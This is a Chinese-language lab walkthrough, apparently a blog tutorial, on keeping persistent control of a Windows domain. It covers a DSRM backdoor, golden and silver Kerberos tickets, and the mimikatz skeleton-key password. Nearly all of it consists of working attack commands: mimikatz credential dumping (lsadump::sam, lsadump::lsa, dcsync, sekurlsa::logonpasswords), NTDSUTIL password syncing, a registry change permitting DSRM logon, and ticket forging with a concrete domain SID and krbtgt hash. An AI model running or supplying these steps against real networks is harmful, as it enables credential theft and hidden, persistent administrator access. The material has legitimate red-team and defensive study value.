DSRM域后门

DSRM(Directory Service Restore Model,目录服务恢复模式)是windows域环境中域控的安全模式启动选项。每个域控都有一个DSRM账户(也就是本地管理员账号),再安装DC时创建,很少会被重置。

可以使用DSRM账号对域环境进行持久化操作。 如果域控制器的系统版本为win2k08,则需要安装KB961320才能使用指定域账号的密码对DSRM的密码进行同步,win2k08后的系统需要安装此补丁。如果域控为win2k03,则不能使用DSRM域后门。 使用DSRM后门的原理是: 可以将DSRM的密码同步为某个域内账号的密码 。以下是实验步骤:

(1)首先使用mimikatz查看域内账号的NTLM Hash:

输入如下命令在域控内查看特定账号的NTLM Hash(非域管理员组):

mimikatz lsadump::lsa /path /name:win7

如下图所示:

查看win7账号的NTLM Hash

(2)然后使用mimikatz通过SAM在域控中读取本地管理员NTLM Hash(DSRM):

输入如下命令读取:

mimikatz lsadump::sam

如下图所示:

查看DSRM账号的NTLM Hash

(3)在域控中将DSRM账号和win7账号的NTLM Hash同步:

输入如下命令进行同步:

NTDSUTIL "SET DSRM PASSWORD" "SYN FROM DOMAIN ACCOUNT win7" "q" "q"

如下图所示:

同步DSRM账号

(4)查看DSRM是否同步成功:

再次通过mimikatz查看SAM文件得到DSRM的NTLM Hash:

mimikatz lsadump::sam

发现和前面win7账号的NTLM Hash已经一样了:

查看DSRM是否同步成功

(5)设置DSRM账号的登录权限:

输入如下命令设置任何情况下都可以使用DSRM登录域控制器:

# Powershell下执行
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

如下图所示:

修改DSRM的登录权限

(6)在低权限机器上,使用PTH DSRM登录域控:

CS进行PTT

CS进行PTT

黄金票据

  • 如果krbtgt账号未重置修改,那么可以利用krbtgt账号伪造域内任意用户身份(一般伪造Administrator);
  • 黄金票据需要满足:伪造的管理员用户名、完整的域名、域SID、krbtgt的NTLM Hash或者AES-256;

(1)首先获取krbtgt的NTLM Hash:

在域控中输入如下命令获取krbtgt账号的NTLM Hash:

mimikatz lsadump:dcsync /domain:pinger.testlab /user:krbtgt

如下所示:

获取krbtgt的NTLM Hash

(2)获取域SID:

直接输入如下命令,即可查看域内所有账号的SID,去掉末尾的就是域的SID:

wmic useraccount get name,sid,caption

如下图所示:

获取SID

(3)获取域管账号:

输入如下命令获取:

net group "domain admins" /domain

如下图所示:

获取域管账号

(4)获取域名:

直接输入ipconfig /all就可以获取了;

(5)使用mimikatz生成黄金票据:

首先在低权限的机器上查看DC的C盘,提示“拒绝访问”:

查看DC

然后在地权的机器上使用mimikatz生成黄金票据:

mimikatz kerberos::golden /admin:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /ticket:Administrator.kiribi

如下图所示:

mimikatz生成黄金票据

然后就是直接使用mimikatz导入票据进行PTT了:

mimikatz导入黄金票据

最后在通过查看DC的C盘验证下权限:

验证权限

也可以一步到位进行mimikatz生成黄金票据和导入进行PTT:

mimikatz kerberos::golden /user:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /endin:480 /renewmax:10080 /ptt

白银票据

使用白银票据需要的条件如下所示:

  • 域名;
  • 域SID;
  • 目标服务器的FQDN;
  • 可利用的服务;
  • 服务账号的NTLM Hash;
  • 需要伪造的用户名;

以下是实验步骤:

(1)首先获取服务账号的NTLM Hash:

在域控中输入如下命令:

mimikatz sekurlsa::logonpasswords

如下图所示,得到DC$的NTLM Hash:

DC$ Hash

(2)使用mimikatz生成白银票据:

首先在低权限的机器上查看DC的C盘,提示“拒绝访问”:

查看DC的C盘

然后使用mimikatz生成CIFS服务的白银票据并导入内存:

mimikatz kerberos::golden /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /target:dc.pinger.testlab /service:cifs /rc4:635260b8259e41feed71f6f0b0fd0f64 /user:Administrator /ptt

如下图所示:

生成白银票据

测试以下访问DC的C盘,成功:

测试

万能密码

  • 微软在2014年在windows系统中添加了LSA保护策略,不能注入lsass.exe进程了;
  • 向域控中注入万能密码,只能在64位系统中使用;
  • 需要域管权限将万能密码注入到lsass.exe进程;
  • 注入万能密码后,原有的密码仍然能登录系统;
  • 重启后,万能密码失效;

以下是基于mimikatz的实验步骤:

(1)在域控中直接执行mimikatz,如下命令所示:

mimikatz misc::skeleton

如下图所示:

mimikatz注入万能密码

(2)然后直接在低权限的机器上尝试用万能密码登录:

万能密码为“mimikatz”,使用SMB登录,如下图所示:

万能密码登录